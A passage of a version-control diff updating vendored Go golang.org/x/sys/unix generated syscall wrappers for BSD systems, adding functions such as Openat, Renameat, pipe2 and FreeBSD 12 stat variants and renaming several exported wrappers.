-@@ -929,6 +1068,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -955,6 +1109,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1030,6 +1200,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1071,8 +1261,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1277,6 +1468,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1340,6 +1551,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-index 1a0bb4cb..600f1d26 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -tags freebsd,386 syscall_bsd.go syscall_freebsd.go syscall_freebsd_386.go
-+// go run mksyscall.go -l32 -tags freebsd,386 syscall_bsd.go syscall_freebsd.go syscall_freebsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), uintptr(dev>>32), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-index ac1e8e01..064934b0 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
